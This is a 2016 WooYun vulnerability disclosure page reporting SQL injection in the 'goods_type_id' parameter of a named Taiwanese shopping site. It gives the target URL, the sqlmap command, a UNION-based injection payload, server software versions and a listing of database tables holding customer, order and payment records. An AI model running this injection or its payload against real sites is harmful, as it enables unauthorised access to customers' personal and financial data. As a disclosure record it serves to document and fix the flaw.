当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0179021

漏洞标题：萬事OK主站某处存在SQL注入可影响用户相关数据（臺灣地區）

相关厂商：ONCEOK

漏洞作者： 路人甲

提交时间：2016-02-27 09:23

修复时间：2016-03-03 09:30

公开时间：2016-03-03 09:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-02-27： 细节已通知厂商并且等待厂商处理中
2016-03-03： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

如题，狗狗侠帅富这回我应该不会重复了吧，我眼挫不知道0178999的漏洞在哪...还是早点睡吧...

详细说明：

target:

http://www.onceok.com.tw/store.php?id=10123396&goods_type_id=gt00000001


payload:

$ python sqlmap.py -u "http://www.onceok.com.tw/store.php?id=10123396&goods_type_id=gt00000001" -p goods_type_id --random-agent --dbms=mysql


sqlmap:

sqlmap identified the following injection points with a total of 88 HTTP(s) requests:
---
Parameter: goods_type_id (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=10123396&goods_type_id=-3811' UNION ALL SELECT CONCAT(0x7178627a71,0x4f434e54657241566941,0x7178717171),NULL,NULL,NULL-- 
---
[00:11:33] [INFO] testing MySQL
[00:11:38] [INFO] confirming MySQL
[00:11:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 4.9
web application technology: Apache 2.0.52, PHP 5.1.6
back-end DBMS: MySQL >= 5.0.0

漏洞证明：

databases:

available databases [2]:                                                       
[*] information_schema
[*] onceok


tables:

Database: onceok
+----------------------------------+---------+
| Table                            | Entries |
+----------------------------------+---------+
| tb_ok_search                     | 1362968 |
| pagetrack                        | 372408  |
| tb_ok_order_status_log           | 221514  |
| tb_ok_stock                      | 214652  |
| orders_items                     | 140850  |
| tb_ok_shipment_d                 | 92424   |
| tb_ok_customer_login_log         | 85049   |
| tb_ok_also_purchased_temp_items  | 69125   |
| view_ok_goods_sales_day          | 53395   |
| tb_ok_goods_sales_day            | 53384   |
| tb_ok_also_purchased_match       | 49622   |
| tb_ok_also_purchased_temp_match  | 49622   |
| tb_ok_atm_file_contain           | 45951   |
| tb_ok_http_referer               | 43364   |
| customers                        | 41607   |
| tb_ok_credit_debug_log           | 41433   |
| view_ok_goods_sales_week         | 40508   |
| tb_ok_goods_sales_week           | 40497   |
| orders_info                      | 39828   |
| epaper                           | 37614   |
| tb_ok_goods_log                  | 36855   |
| orders_infobak                   | 32609   |
| view_ok_customer_order           | 28390   |
| tb_ok_debug_logs                 | 28327   |
| tb_ok_shipment_m                 | 27798   |
| view_ok_ship_return              | 27798   |
| view_ok_ship_item_check          | 27356   |
| view_ok_order_item_check         | 27315   |
| view_ok_goods_sales_month        | 26224   |
| tb_ok_goods_sales_month          | 26218   |
| invo_prt                         | 25669   |
| tb_ok_money_log                  | 25092   |
| tb_ok_users_log                  | 24111   |
| tb_ok_customer_order             | 23727   |
| shopping_cart                    | 19268   |
| goods_inventory_log              | 17902   |
| tb_ok_atm_file                   | 17415   |
| tb_ok_http_referer_order         | 17398   |
| view_ok_http_referer_order       | 17398   |
| customers_epaper                 | 16372   |
| customers_fix                    | 15634   |
| tb_ok_also_purchased_order       | 15299   |
| view_ok_money                    | 15190   |
| company_contacts                 | 9772    |
| tb_ok_order_rec                  | 9554    |
| tb_ok_survey                     | 8800    |
| view_ok_goods_sales_year         | 8056    |
| tb_ok_goods_sales_year           | 8053    |
| tb_ok_goods_qa                   | 6855    |
| tb_ok_serial                     | 6384    |
| tb_ok_store_log                  | 6210    |
| tb_ok_order_qa                   | 5705    |
| tb_ok_goods_sales_status         | 4814    |
| view_ok_goods_sales_status       | 4814    |
| goods_detail                     | 4334    |
| goods_info                       | 4307    |
| view_ok_goods_store_info         | 4307    |
| view_ok_goods_type               | 4307    |
| view_ok_goods_sales_all_info     | 4298    |
| check_log                        | 2836    |
| tb_ok_stores_sales_month         | 2835    |
| tb_ok_goods_sales_all            | 2549    |
| view_ok_goods_sales_all          | 2549    |
| pagetrack_transation             | 2417    |
| view_ok_stores_type              | 2132    |
| orders_full_amount               | 1758    |
| tb_ok_serial_test                | 1329    |
| ip_view_pool                     | 884     |
| tb_ok_user_role                  | 562     |
| tb_ok_cat_temp                   | 515     |
| tb_ok_idx_temp                   | 488     |
| tb_ok_scenic                     | 336     |
| tb_ok_scenic_content             | 335     |
| tb_ok_keyword                    | 291     |
| stores_detail                    | 264     |
| stores_info                      | 263     |
| view_ok_store_sales_info         | 256     |
| tb_ok_users                      | 249     |
| goods_inventory                  | 239     |
| tb_ok_role_ap                    | 194     |
| view_ok_goods_full_amount        | 136     |
| idx_special                      | 108     |
| tb_ok_return_d                   | 95      |
| idx_choice                       | 73      |
| tb_ok_goods_monthly_sales_list   | 70      |
| view_ok_goods_monthly_sales_list | 70      |
| tb_ok_ap                         | 68      |
| invo_range                       | 54      |
| tb_ok_return_m                   | 49      |
| blog_type                        | 42      |
| orders_status                    | 36      |
| goods_type                       | 30      |
| invo_lotto                       | 28      |
| city                             | 26      |
| forums_topic_type                | 26      |
| hot_news                         | 26      |
| tb_ok_goods_weekly_sales_list    | 26      |
| view_ok_goods_weekly_sales_list  | 26      |
| goods_subtype                    | 24      |
| idx_pic_config                   | 23      |
| tb_ok_freight                    | 19      |
| tb_ok_http_referer_setup         | 12      |
| view_search_keywords_yahoo       | 12      |
| tb_ok_money_type                 | 11      |
| tb_ok_role                       | 11      |
| tb_ok_survey_item                | 11      |
| idx_search                       | 8       |
| stores_area                      | 7       |
| tb_ok_return_status              | 6       |
| idx_store                        | 5       |
| tb_ok_banner                     | 5       |
| forums_topic_status              | 4       |
| tb_ok_shipment_status            | 4       |
| customer_facebook                | 3       |
| depts_info                       | 3       |
| stores_special                   | 3       |
| config                           | 1       |
| invo_reprt                       | 1       |
| tb_ok_ship_seq                   | 1       |
+----------------------------------+---------+


如上，漏洞存在，可影响相关数据

修复方案：

过滤相关参数

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-03-03 09:30

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价